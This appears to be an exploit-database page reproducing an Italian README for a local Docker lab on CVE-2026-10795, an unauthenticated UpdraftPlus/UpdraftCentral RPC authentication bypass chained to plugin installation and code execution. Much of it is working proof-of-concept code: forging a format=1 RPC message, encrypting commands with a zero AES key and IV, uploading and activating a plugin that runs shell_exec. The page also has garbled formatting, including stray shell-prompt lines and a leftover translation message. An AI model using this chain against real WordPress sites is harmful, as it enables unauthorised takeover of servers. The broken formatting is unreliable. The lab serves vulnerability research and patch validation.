Sploitus

Exploit for CVE-2026-10795-Lab

kitploit · 2026-08-27

Exploit Code

MARKDOWN1086 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ROOTDIRECTIVE-SEC-CVE-2026-10795-LAB
## CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC Authentication Bypass Chained to Plugin Installation

## Sommario Esecutivo

Questo repository contiene un laboratorio Docker locale per riprodurre e validare CVE-2026-10795, una vulnerabilità di bypass dell'autenticazione non autenticata che interessa il plugin WordPress UpdraftPlus attraverso il suo livello di comunicazione remota UpdraftCentral.

Il comportamento vulnerabile esiste nel flusso di gestione dei messaggi RPC di UpdraftCentral. Nelle versioni vulnerabili, un messaggio RPC contraffatto con `format=1` può eludere la verifica della firma, attivare un percorso di decrittazione RSA fallito, e raggiungere comunque la decrittazione simmetrica con un comportamento prevedibile di chiave nulla/IV nullo. Ciò consente a un messaggio RPC crittografato manipolato di essere accettato e inviato come comando UpdraftCentral.

Questo laboratorio confronta due versioni di UpdraftPlus:

Servizio| Versione UpdraftPlus| Scopo| URL  
---|---|---|---  
`vuln`| 1.26.4| Target di confronto vulnerabile| `http://127.0.0.1:8081`  
`patched`| 1.26.5| Target di confronto corretto| `http://127.0.0.1:8082`  
  
La catena dimostrata è:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint

root@kitploit:~
    
    
    La vulnerabilità principale è il bypass dell'autenticazione. Il laboratorio dimostra che il bypass può essere concatenato a un impatto di tipo RCE quando è presente uno stato di chiave UpdraftCentral privilegiato, perché UpdraftCentral espone comandi legittimi di gestione dei plugin che possono installare e attivare plugin WordPress.
    
    Non si tratta di una vulnerabilità di injection diretta di comandi. La prova dell'esecuzione di codice deriva dall'abuso della funzionalità di installazione autenticata dei plugin dopo aver bypassato il confine di autenticazione RPC.
    
    Questo laboratorio è progettato esclusivamente per ricerca locale controllata, comprensione a livello di codice sorgente e dimostrazione per portfolio.
    
    ## Verified Facts
    
    | Claim                                                                  | Evidence                                                                                              | How to verify in this lab                                          |
    | ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
    | UpdraftPlus 1.26.4 è vulnerabile in questo laboratorio.                          | Il servizio vulnerabile accetta un messaggio RPC `format=1` falsificato e invia `plugin.upload_plugin`. | Esegui `python3 poc/poc.py --url http://127.0.0.1:8081`.              |
    | UpdraftPlus 1.26.5 blocca il messaggio falsificato in questo laboratorio.              | Il servizio corretto non restituisce alcun corpo di risposta RPC e non invia il comando falsificato.            | Esegui `python3 poc/poc.py --url http://127.0.0.1:8082`.              |
    | Il problema è un bypass dell'autenticazione nel layer RPC di UpdraftCentral. | Una richiesta RPC non autenticata falsificata può raggiungere l'invio del comando nella versione vulnerabile.            | Confronta il comportamento di `--ping` tra le porte `8081` e `8082`.         |
    | Il laboratorio non pre-installa il plugin marker.                        | La configurazione installa solo WordPress, UpdraftPlus e uno stato di chiave UpdraftCentral locale.                 | Controlla `/wp-json/cve-lab/v1/id` prima di eseguire il PoC.             |
    | Il PoC installa il plugin marker tramite RPC falsificato.                 | Il PoC invia `plugin.upload_plugin` con un payload ZIP del plugin nel campo dati RPC.                 | Esegui il PoC e poi richiedi `/wp-json/cve-lab/v1/id`.             |
    | Il target vulnerabile raggiunge un impatto di tipo RCE.                        | Il plugin marker espone un endpoint hard-coded che restituisce l'output di `/usr/bin/id`.                    | Il target vulnerabile restituisce `uid=33(www-data) gid=33(www-data)`. |
    | Il target corretto non installa il plugin marker.                 | L'endpoint marker restituisce `404 rest_no_route` sul servizio corretto.                               | Esegui il PoC contro `http://127.0.0.1:8082`.                       |
    | Il laboratorio richiede uno stato di chiave UpdraftCentral.                          | L'invio di UpdraftCentral dipende da una voce di chiave locale e dai metadati associati.                         | Rivedi `scripts/setup-wordpress.sh`.                               |
    
    ## Assumptions and Unknowns
    
    Questo laboratorio inserisce intenzionalmente uno stato di chiave UpdraftCentral locale per riprodurre una condizione del sito in cui è stato configurato il controllo remoto.
    
    Lo stato di chiave inserito è un prerequisito del laboratorio, non la vulnerabilità stessa. Consente al laboratorio di esercitare in modo consistente il percorso di parsing e decrittazione RPC vulnerabile.
    
    Il laboratorio non sostiene che ogni installazione di UpdraftPlus sia immediatamente sfruttabile. La catena dimostrata dipende dalla presenza di una voce di chiave locale UpdraftCentral associata a un utente WordPress privilegiato.
    
    Il laboratorio dimostra un impatto controllato di tipo RCE installando un plugin marker che espone un endpoint di proof hard-coded `/usr/bin/id`. Non fornisce una web shell generica, parametro di esecuzione arbitraria di comandi, reverse shell, meccanismo di persistenza, furto di credenziali o callback esterno.
    
    Il PoC è limitato a target locali e rifiuta hostname non locali per impostazione predefinita.
    
    ## Root Cause Summary
    
    La causa principale è una validazione impropria dei messaggi RPC di UpdraftCentral nelle versioni vulnerabili di UpdraftPlus.
    
    Il flusso RPC vulnerabile accetta un messaggio `format=1`. Il percorso `format=1` non richiede la stessa verifica della firma dei formati di messaggio più recenti.
    
    Il problema di alto livello è:```text
    format=1 message
    → signature verification is bypassed
    → RSA decrypt of the symmetric key can fail
    → failed decrypt result is not rejected
    → false is passed into the symmetric cipher as a key
    → phpseclib normalizes this into a predictable null key path
    → attacker-controlled encrypted JSON can decrypt successfully
    → command is dispatched
    

In un comportamento vulnerabile, la decrittazione RSA può restituire:```text false

root@kitploit:~
    
    
    Invece di rifiutare quel risultato di decifratura fallita, il flusso vulnerabile continua e passa il valore al livello di decifratura simmetrica.
    
    Il pattern vulnerabile effettivo è:```php
    $sym_key = $rsa->decrypt($sym_key);
    $rij->setKey($sym_key);
    $decrypted = $rij->decrypt($ciphertext);
    

Il problema è che `$sym_key` non viene convalidato prima di essere utilizzato.

Quando `$sym_key` è `false`, la configurazione del cifrario segue un comportamento prevedibile di chiave nulla/IV nullo. Ciò rende possibile creare un payload RPC crittografato utilizzando una chiave zero e un IV zero noti.

La versione patchata aggiunge un controllo prima che la chiave simmetrica venga utilizzata:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
    
    
    Questo cambia il confine di fiducia.
    
    Prima della patch:```text
    failed RSA decrypt result could still reach symmetric decrypt
    

Dopo la patch:```text failed RSA decrypt result is rejected before command dispatch

root@kitploit:~
    
    
    Questo è il motivo per cui il servizio vulnerabile invia il comando RPC falsificato, mentre il servizio corretto non lo fa.
    
    ## Perché un Bypass dell'Autenticazione può Portare all'Esecuzione di Codice
    
    CVE-2026-10795 è meglio descritto come un bypass dell'autenticazione perché il difetto principale risiede nel layer di autenticazione RPC e verifica dei messaggi.
    
    Tuttavia, dopo aver superato quel confine di autenticazione, il messaggio RPC controllato dall'attaccante può raggiungere comandi privilegiati di UpdraftCentral.
    
    Un importante percorso di comando è:```text
    plugin.upload_plugin
    

Questo comando fa parte della funzionalità di gestione dei plugin di UpdraftCentral. Accetta un payload ZIP di un plugin, lo scrive in una posizione temporanea, installa il plugin e lo attiva quando richiesto.

La catena di impatto è quindi:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution

root@kitploit:~
    
    
    Questo non è un'iniezione di comandi. Il laboratorio dimostra l'esecuzione di codice installando un plugin marker che espone un singolo endpoint:```text
    /wp-json/cve-lab/v1/id
    

Il plugin marker non accetta un parametro di comando. Esegue solo:```text /usr/bin/id

root@kitploit:~
    
    
    Questo mantiene la prova sotto controllo e evita di trasformare il laboratorio in una web shell generica.
    
    ## Riepilogo della Patch Sorgente
    
    Il comportamento rilevante della patch è che la versione corretta rifiuta chiavi simmetriche non valide prima di tentare di decifrare il corpo del messaggio RPC.
    
    La convalida importante è:```php
    if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
        return false;
    }
    

Ciò previene il comportamento di fallback vulnerabile in cui un risultato di decrittografia RSA fallita può diventare un percorso di chiave simmetrica prevedibile.

Il risultato pratico è:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch

UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached

root@kitploit:~
    
    
    Il laboratorio convalida anche l'impatto a valle prendendo di mira il percorso reale del comando di upload del plugin UpdraftCentral.
    
    Il comportamento del comando pertinente è:```text
    plugin.upload_plugin
    → base64 decode ZIP data
    → write temporary ZIP file
    → UpdraftCentral_Plugin_Upgrader->install()
    → activate_plugin()
    

La versione patchata blocca il messaggio falsificato prima che questo percorso di comando venga raggiunto.

## Walkthrough a livello di sorgente

Questa sezione spiega il percorso vulnerabile a livello di codice sorgente e mappa ogni passaggio del PoC al corrispondente comportamento di UpdraftPlus / UpdraftCentral.

Il laboratorio non si basa su una falsa route applicativa vulnerabile. Il comportamento vulnerabile viene raggiunto attraverso il reale listener RPC di UpdraftCentral e il reale percorso di comando di gestione dei plugin di UpdraftCentral.

Le aree di codice sorgente importanti sono:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php

root@kitploit:~
    
    
    ### Creazione del Listener
    
    Il percorso RPC vulnerabile inizia quando WordPress riceve una richiesta POST contenente:```text
    udrpc_message
    format
    key_name
    

La libreria RPC registra un listener su WordPress `wp_loaded` quando quei campi POST esistono.

Concettualmente, il flusso è:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }

root@kitploit:~
    
    
    Ciò significa che l'aggressore non ha bisogno di conoscere un endpoint REST speciale o un URL di amministrazione. La richiesta RPC falsificata viene inviata come una normale richiesta POST alla root del sito WordPress.
    
    Il PoC invia:```text
    POST /
    format=1
    key_name=0.central.updraftplus.com
    udrpc_message=<crafted encrypted message>
    

La richiesta raggiunge lo stesso percorso listener utilizzato dalla comunicazione remota legittima di UpdraftCentral.

### Abbinamento del Nome della Chiave

UpdraftCentral archivia le chiavi locali di controllo remoto nelle opzioni di WordPress. In questo laboratorio, lo script di configurazione imposta uno stato delle chiavi controllato sia per i target vulnerabili che per quelli patchati.

Il nome della chiave rilevante è:

root@kitploit:~
    
    
    0.central.updraftplus.com
    ```
    Questo formato è prodotto dalla logica dell'indicatore chiave di UpdraftCentral:```php
    private function indicator_name_from_index($index) {
        return $index.'.central.updraftplus.com';
    }
    ```
    Il listener continua solo se il campo POST non crittografato corrisponde all'indicatore di chiave previsto:```php
    if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) {
        return;
    }
    ```
    Il PoC quindi imposta:```python
    KEY_NAME = "0.central.updraftplus.com"
    ```
    Questo non è la vulnerabilità. È un prerequisito di laboratorio che permette al test di esercitare il percorso di parsing e decrittazione RPC vulnerabile in modo riproducibile.
    
    ### Gestione del Formato e Bypass della Firma
    
    UpdraftCentral supporta formati di messaggio. La distinzione importante è:```text
    format=1  legacy path
    format=2  signed message path
    ```
    Nel percorso di codice vulnerabile, la verifica della firma avviene solo quando il formato è maggiore o uguale a 2:```php
    if ($format >= 2) {
        if (empty($_POST['signature'])) {
            die;
        }
    
        if (!$this->key_remote) {
            die;
        }
    
        if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
            die;
        }
    }
    ```
    Poiché il PoC usa:```text
    format=1
    ```
    questo blocco di verifica della firma viene saltato.
    
    Questo è il confine del bypass dell'autenticazione.
    
    Un messaggio `format=2` legittimo dovrebbe includere una firma valida. Il messaggio contraffatto `format=1` non ne ha bisogno, quindi il messaggio controllato dall'attaccante può proseguire verso il percorso di decifratura.
    
    ### Flusso di decifratura vulnerabile
    
    Dopo i controlli sul formato e sul nome della chiave, il listener decifra il `udrpc_message` inviato.
    
    Il flusso di decifratura vulnerabile in UpdraftPlus 1.26.4 è effettivamente:```php
    $rsa->loadKey($this->key_local);
    
    $sym_key = base64_decode($sym_key);
    $sym_key = $rsa->decrypt($sym_key);
    
    $rij->setKey($sym_key);
    
    return $rij->decrypt($ciphertext);
    ```
    Il bug si trova tra queste due operazioni:```php
    $sym_key = $rsa->decrypt($sym_key);
    $rij->setKey($sym_key);
    ```
    Se la decifratura RSA fallisce, `$rsa->decrypt()` può restituire:```php
    false
    ```
    La versione vulnerabile non rifiuta tale valore prima di passarlo in:```php
    $rij->setKey($sym_key);
    ```
    La versione corretta risolve questo problema aggiungendo la validazione:```php
    if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
        return false;
    }
    ```
    Questa guardia è la patch rilevante per la sicurezza. Impedisce che un risultato di decrittografia RSA fallito raggiunga la configurazione della cifratura simmetrica.
    
    ### Perché `false` Diventa Prevedibile
    
    Il comportamento vulnerabile è pericoloso perché `setKey(false)` non fallisce in modo sicuro in questo percorso di phpseclib.
    
    Il codice della cifratura calcola la lunghezza della chiave dalla chiave fornita:```php
    $this->setKeyLength(strlen($key) << 3);
    $this->key = $key;
    ```
    Quando `$key` è `false`, `strlen(false)` si comporta come un caso di chiave a lunghezza zero. La logica della lunghezza della chiave di Rijndael arrotonda le dimensioni molto piccole delle chiavi fino a una lunghezza minima valida:```php
    case $length <= 128:
        $this->key_length = 16;
        break;
    ```
    La configurazione del cifrario quindi riempie la chiave e l'IV con byte nulli:```php
    $this->encryptIV = $this->decryptIV =
        str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
    
    $this->key =
        str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
    ```
    Quindi l'attaccante può modellare il comportamento vulnerabile di decrittazione come:```text
    AES/Rijndael-CBC
    key = 16 null bytes
    iv  = 16 null bytes
    ```
    Questo è il motivo per cui il PoC può crittografare un comando JSON RPC localmente e far sì che il target vulnerabile lo decrittografi con successo.
    
    ### Struttura del messaggio utilizzata dal PoC
    
    La funzione di decrittazione vulnerabile si aspetta che il messaggio crittografato contenga:```text
    3 hex chars     length of RSA-encrypted symmetric key, as base64 text
    N chars         base64 RSA-encrypted symmetric key
    16 hex chars    length of ciphertext, as base64 text
    M chars         base64 encrypted message body
    ```
    Il PoC costruisce questa struttura manualmente:```python
    bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
    ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
    
    sym_key_len = f"{len(bad_sym_key_b64):03x}"
    ciphertext_len = f"{len(ciphertext_b64):016x}"
    
    udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
    ```
    Il blocco RSA è intenzionalmente non valido:```python
    BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
    ```
    Su UpdraftPlus 1.26.4, quel blocco RSA non valido causa il fallimento della decifratura RSA, ma il fallimento non viene rifiutato.
    
    Su UpdraftPlus 1.26.5, il risultato della decifratura fallita viene rifiutato dalla nuova guardia e il messaggio falsificato non raggiunge l'invio del comando.
    
    ### Inner JSON RPC Message
    
    Il messaggio interno crittografato è un normale comando JSON in stile UpdraftCentral.
    
    Per la convalida del ping, il PoC utilizza:```json
    {
      "command": "ping",
      "time": 1710000000,
      "key_name": "0.central.updraftplus.com",
      "rand": 123456
    }
    ```
    Per la prova di identità predefinita, il PoC utilizza:```json
    {
      "command": "plugin.upload_plugin",
      "time": 1710000000,
      "key_name": "0.central.updraftplus.com",
      "rand": 123456,
      "data": {
        "filename": "cve-2026-10795-id-marker.zip",
        "data": "<base64 plugin zip>",
        "activate": true
      }
    }
    ```
    Il `key_name` appare sia all'esterno che all'interno del messaggio crittografato. Il listener verifica che entrambi corrispondano:```php
    if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
        die;
    }
    ```
    Ecco perché il PoC deve includere lo stesso nome di chiave in entrambi i posti.
    
    ### Validazione JSON prima dell'invio
    
    Dopo aver decifrato il messaggio, il listener lo analizza come JSON:```php
    $udrpc_message = json_decode($udrpc_message, true);
    ```
    Il messaggio deve contenere un comando valido:```php
    if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
        die;
    }
    ```
    Deve anche contenere un timestamp:```php
    if (empty($udrpc_message['time'])) {
        die;
    }
    ```
    Il timestamp deve essere all'interno della finestra di replay consentita:```php
    $time_difference = absint($udrpc_message['time'] - time());
    
    if ($time_difference > $this->maximum_replay_time_difference) {
        die;
    }
    ```
    Il PoC imposta quindi il campo interno `time` sull'ora corrente.
    
    ### Invio dei Comandi
    
    Dopo che il messaggio viene decrittato e validato, UpdraftCentral invia il comando.
    
    I comandi utilizzano un formato di prefisso:```text
    <prefix>.<method>
    ```
    Per esempio:```text
    plugin.upload_plugin
    ```
    Questo diventa:```text
    prefix = plugin
    method = upload_plugin
    ```
    Il listener risolve la classe del comando dal prefisso e poi chiama il metodo dinamicamente:```php
    $msg = apply_filters(
        'updraftcentral_listener_udrpc_action',
        call_user_func(array($command_class, $command), $data, $extra_info),
        $command_class,
        $class_prefix,
        $command,
        $data,
        $extra_info
    );
    ```
    Per il comando PoC:```text
    plugin.upload_plugin
    ```
    il listener chiama:```php
    UpdraftCentral_Plugin_Commands::upload_plugin($data)
    ```
    Ecco perché il PoC non necessita di un sink diretto di iniezione di comandi. Raggiunge un comando legittimo privilegiato di UpdraftCentral dopo aver bypassato il confine di autenticazione RPC.
    
    ### Contesto utente e controlli delle capacità```php
    if (!empty($extra_info['user_id'])) {
        wp_set_current_user($extra_info['user_id']);
    }
    ```
    In questo laboratorio, la chiave seed ha:```text
    extra_info.user_id = 1
    ```
    Che simula una chiave UpdraftCentral configurata associata all'utente amministratore creato durante l'installazione di WordPress.
    
    Questo è importante perché il percorso di upload del plugin controlla le capacità di WordPress:```php
    if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) {
        $permission_error = true;
    }
    ```
    Quindi il bypass da solo introduce il comando contraffatto nel layer RPC. I metadati della chiave seed determinano in quale contesto utente WordPress viene eseguito il comando.
    
    In questo lab, il comando viene eseguito nel contesto di amministrazione perché la chiave è associata all'ID utente 1.
    
    ### Plugin Upload Sink
    
    Il metodo del comando è:```php
    public function upload_plugin($params) {
        return $this->process_chunk_upload($params, 'plugin');
    }
    ```
    Il gestore di upload condiviso si aspetta dati di upload del plugin:```text
    filename
    data
    activate
    ```
    Il PoC invia:```python
    {
        "filename": "cve-2026-10795-id-marker.zip",
        "data": base64.b64encode(zip_bytes).decode("ascii"),
        "activate": True,
    }
    ```
    Il gestore di upload scrive il contenuto ZIP in un file temporaneo:```php
    $result = file_put_contents(
        $upload_dir.'/'.$filename,
        base64_decode($params['data']),
        FILE_APPEND | LOCK_EX
    );
    ```
    Per un upload non suddiviso in chunk, l'installazione procede immediatamente:```php
    $install_now = true;
    ```
    Il gestore costruisce quindi un percorso ZIP:```php
    $zip_filepath = $upload_dir.'/'.$filename;
    ```
    e lo installa utilizzando l'upgrader del plugin UpdraftCentral:```php
    $upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
    $install_result = $upgrader->install($zip_filepath);
    ```
    Se l'installazione ha successo e `activate` è true, il codice attiva il plugin installato:```php
    if ((bool) $params['activate'] && !$is_active) {
        $activate = activate_plugin($data['slug']);
    }
    ```
    Una risposta di installazione riuscita contiene:```php
    return $this->_response(
        array(
            'installed' => true,
            'installed_data' => $data,
        )
    );
    ```
    Questa è la ragione a livello di codice per cui un bypass di autenticazione RPC contraffatto può essere concatenato all'installazione e attivazione di plugin WordPress.
    
    ### Plugin Marker
    
    Il plugin marker viene generato dal PoC in memoria. Non è preinstallato dalla configurazione Docker.
    
    Lo ZIP generato contiene:```text
    cve-2026-10795-id-marker/
    └── cve-2026-10795-id-marker.php
    ```
    Il plugin marker registra una rotta REST:```text
    /wp-json/cve-lab/v1/id
    ```
    L'endpoint restituisce:```text
    lab
    plugin
    proof
    uid
    gid
    user
    id_output
    ```
    L'unico comando eseguito dal plugin marker è hard-coded:```php
    shell_exec('/usr/bin/id 2>&1');
    ```
    Non esiste un parametro `cmd` controllato dall'utente.
    
    Questo è intenzionale. Il laboratorio dimostra l'esecuzione di codice plugin evitando una web shell generica.
    
    ### Perché il Target Patchato Restituisce 404
    
    Il servizio patchato riceve la stessa richiesta contraffatta e ha lo stesso stato di chiave seedata.
    
    La differenza è la guardia di decrittazione patchata:```php
    if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
        return false;
    }
    ```
    Poiché il PoC fornisce intenzionalmente un blocco RSA non valido, la chiave simmetrica decifrata non è valida.
    
    In UpdraftPlus 1.26.5, il messaggio falsificato si ferma prima del parsing JSON e prima dell'invio del comando.
    
    Pertanto:```text
    plugin.upload_plugin is never called
    marker plugin is never installed
    /wp-json/cve-lab/v1/id returns 404 rest_no_route
    ```
    Questo comportamento corretto dimostra che il risultato del laboratorio dipende dal percorso del codice RPC vulnerabile di UpdraftPlus, non dall'infrastruttura Docker.
    
    ## Mappatura da PoC a Sorgente
    
    | Comportamento PoC                       | Comportamento sorgente testato                             | Previsto su 1.26.4             | Previsto su 1.26.5                                       |
    | --------------------------------------- | ---------------------------------------------------------- | ------------------------------ | -------------------------------------------------------- |
    | Invia POST con `format=1`               | Il listener accetta il formato RPC legacy                  | Continua                       | Continua fino al controllo decrypt con patch             |
    | Omette la firma valida                  | Il controllo della firma si applica solo a `format >= 2`   | Firma non richiesta            | Firma non richiesta per `format=1`, ma successivamente bloccata |
    | Invia blocco RSA non valido             | La decrittazione RSA restituisce una chiave simmetrica non valida | Chiave non valida arriva a `setKey()` | Chiave non valida rifiutata                             |
    | Cripta JSON con chiave null/IV null     | Modella il comportamento di fallback di phpseclib dopo `setKey(false)` | Decritta in JSON valido        | Non decritta                                             |
    | Imposta `command=ping`                  | Testa solo il bypass crittografico e l'invio                | `PING DISPATCHED`              | `PING NOT DISPATCHED`                                    |
    | Imposta `command=plugin.upload_plugin`  | Chiama il metodo di upload del plugin UpdraftCentral        | Plugin ZIP installato          | Comando non raggiunto                                    |
    | Imposta `activate=true`                 | Attiva `activate_plugin()` dopo l'installazione            | Plugin marker attivo           | Plugin marker assente                                    |
    | Richiedi `/wp-json/cve-lab/v1/id`       | Verifica se il codice del plugin marker è in esecuzione    | Restituisce `uid=33(www-data)` | Restituisce `404 rest_no_route`                          |
    
    ## Come il Codice PoC si Mappa alla Vulnerabilità
    
    Il PoC inizia rifiutando i target non locali:```python
    allowed_hosts = {"127.0.0.1", "localhost", "::1"}
    
    if host not in allowed_hosts:
        raise ValueError("Refusing non-local target")
    ```
    Questo mantiene lo script limitato al laboratorio Docker.
    
    Il PoC costruisce il messaggio RPC interno:```python
    inner = {
        "command": command,
        "time": int(time.time()),
        "key_name": KEY_NAME,
        "rand": random.randint(1, 2_147_483_647),
    }
    ```
    Se viene utilizzata la prova ID predefinita, il comando è:```python
    command = "plugin.upload_plugin"
    ```
    e i dati sono:```python
    {
        "filename": "cve-2026-10795-id-marker.zip",
        "data": base64.b64encode(zip_bytes).decode("ascii"),
        "activate": True,
    }
    ```
    Il PoC quindi crittografa il JSON interno con lo stato del cifrario prevedibile e vulnerabile:```python
    ZERO_KEY = b"\x00" * 16
    ZERO_IV = b"\x00" * 16
    
    cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV)
    ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
    ```
    Questo corrisponde alla conseguenza vulnerabile del passaggio `false` nella configurazione della cifratura simmetrica.
    
    Il PoC utilizza intenzionalmente un blocco RSA non valido:```python
    BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
    ```
    Il messaggio `udrpc_message` risultante è costruito nello stesso formato con prefisso di lunghezza che la funzione RPC decrypt si aspetta:```python
    sym_key_len = f"{len(bad_sym_key_b64):03x}"
    ciphertext_len = f"{len(ciphertext_b64):016x}"
    
    return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
    ```
    Finalmente, il PoC invia la richiesta RPC falsificata:```python
    fields = {
        "format": "1",
        "key_name": KEY_NAME,
        "udrpc_message": build_udrpc_message(command, data),
    }
    
    requests.post(target, data=fields, timeout=timeout)
    ```
    Sul target vulnerabile, la risposta del server contiene un corpo di risposta JSON valido in stile RPC. Il PoC lo tratta come:```text
    RPC DISPATCHED
    ```
    Dopo l'invio, il PoC verifica l'impatto richiedendo l'endpoint di marcatura:```text
    GET /wp-json/cve-lab/v1/id
    ```
    Se il plugin marker è stato installato e attivato, l'endpoint restituisce:```text
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ```
    Quell'output dimostra che il messaggio RPC non autenticato contraffatto ha raggiunto un percorso privilegiato di installazione del plugin e ha attivato il codice del plugin fornito dall'attaccante all'interno del laboratorio locale.
    
    ## Cosa dimostra il laboratorio
    
    Questo laboratorio dimostra la seguente catena tecnica:```text
    1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
    2. The forged message does not need a valid signature.
    3. A failed RSA decrypt result is not rejected before symmetric decrypt.
    4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
    5. The JSON command reaches UpdraftCentral command dispatch.
    6. The dispatched command can call plugin.upload_plugin.
    7. plugin.upload_plugin can install and activate a ZIP plugin.
    8. Activated plugin code runs in the web server context.
    9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
    ```
    Il laboratorio non dimostra che ogni installazione sia sfruttabile senza prerequisiti.
    
    Il prerequisito necessario per questa dimostrazione è:```text
    an existing UpdraftCentral local key state associated with a privileged WordPress user
    ```
    La configurazione Docker crea quel prerequisito in entrambi i target in modo che la differenza tra comportamento vulnerabile e corretto possa essere testata in modo equo.
    
    ## Architettura del Laboratorio
    
    Il laboratorio esegue due installazioni WordPress isolate tramite Docker Compose.```text
    .
    ├── docker-compose.yml
    ├── scripts/
    │   └── setup-wordpress.sh
    ├── vuln/
    │   └── Dockerfile
    ├── patched/
    │   └── Dockerfile
    ├── poc/
    │   └── poc.py
    ├── requirements.txt
    ├── README.md
    └── .gitignore
    ```
    I due servizi WordPress eseguono database separati e versioni separate di UpdraftPlus:
    
    | Service         | Component               | Version / Role                                                   |
    | --------------- | ----------------------- | ---------------------------------------------------------------- |
    | `vuln`          | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 target vulnerabile                            |
    | `patched`       | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 target corretto                               |
    | `vuln_db`       | MariaDB                 | Database per il target vulnerabile                               |
    | `patched_db`    | MariaDB                 | Database per il target corretto                                  |
    | `vuln_setup`    | Servizio di configurazione WP-CLI | Installa WordPress, attiva UpdraftPlus, imposta lo stato della chiave locale |
    | `patched_setup` | Servizio di configurazione WP-CLI | Installa WordPress, attiva UpdraftPlus, imposta lo stato della chiave locale |
    
    Servizi esposti predefiniti:```text
    Vulnerable target: http://127.0.0.1:8081
    Patched target:    http://127.0.0.1:8082
    ```
    Il processo di configurazione inizializza lo stesso stato della chiave UpdraftCentral in entrambi i servizi:```text
    key_name: 0.central.updraftplus.com
    extra_info.user_id: 1
    ```
    Questo dà a entrambi i target lo stesso stato prerequisito. La differenza nel comportamento deriva dal codice vulnerabile rispetto a quello corretto di UpdraftPlus, non da una diversa configurazione del laboratorio.
    
    ## Requisiti
    
    * Docker Desktop o Docker Engine
    * Docker Compose v2
    * Python 3
    * Supporto per ambienti virtuali Python
    * Accesso a Internet durante la creazione dell'immagine Docker
    * Pacchetti Python elencati in `requirements.txt`
    
    Dipendenze Python:```text
    requests
    urllib3<2
    pycryptodome
    ```
    La constraint `urllib3<2` evita avvertimenti relativi a LibreSSL su alcune build Python di macOS.
    
    ## Avvio rapido
    
    Inizia da uno stato di laboratorio pulito:```bash
    docker compose down -v --remove-orphans
    docker compose up -d --build
    ```
    Osserva i log di configurazione:```bash
    docker compose logs -f vuln_setup patched_setup
    ```
    Indicatori di configurazione previsti:```text
    Seeded UpdraftCentral key: 0.central.updraftplus.com
    Plugin updraftplus details:
    Status: Active
    Version: 1.26.4
    Setup complete for CVE-2026-10795 vuln
    ```
    [No content provided to translate.]```text
    Seeded UpdraftCentral key: 0.central.updraftplus.com
    Plugin updraftplus details:
    Status: Active
    Version: 1.26.5
    Setup complete for CVE-2026-10795 patched
    ```
    Controlla i servizi in esecuzione:```bash
    docker compose ps
    ```
    Crea e attiva un ambiente virtuale Python:```bash
    python3 -m venv venv
    source venv/bin/activate
    pip install -r requirements.txt
    ```
    Esegui la prova ID predefinita contro il target vulnerabile:```bash
    python3 poc/poc.py --url http://127.0.0.1:8081
    ```
    Esegui la stessa prova contro il target corretto:```bash
    python3 poc/poc.py --url http://127.0.0.1:8082
    ```
    Lo script richiede intenzionalmente l'opzione `--url`. Ciò costringe il tester a scegliere esplicitamente il target invece di attaccare automaticamente entrambi i servizi.
    
    ## Utilizzo del PoC
    
    Comportamento predefinito:```bash
    python3 poc/poc.py --url <local_target_url>
    ```
    Esempio di target vulnerabile:```bash
    python3 poc/poc.py --url http://127.0.0.1:8081
    ```
    Esempio di target patchato:```bash
    python3 poc/poc.py --url http://127.0.0.1:8082
    ```
    Validazione opzionale solo ping:```bash
    python3 poc/poc.py --ping --url http://127.0.0.1:8081
    python3 poc/poc.py --ping --url http://127.0.0.1:8082
    ```
    Opzioni supportate:
    
    | Opzione      | Richiesto | Scopo                                                 |
    | ----------- | -------- | ------------------------------------------------------- |
    | `--url`     | Sì      | URL del target del laboratorio locale                                    |
    | `--ping`    | No       | Esegue una validazione innocua di ping falsificato al posto della prova di identità |
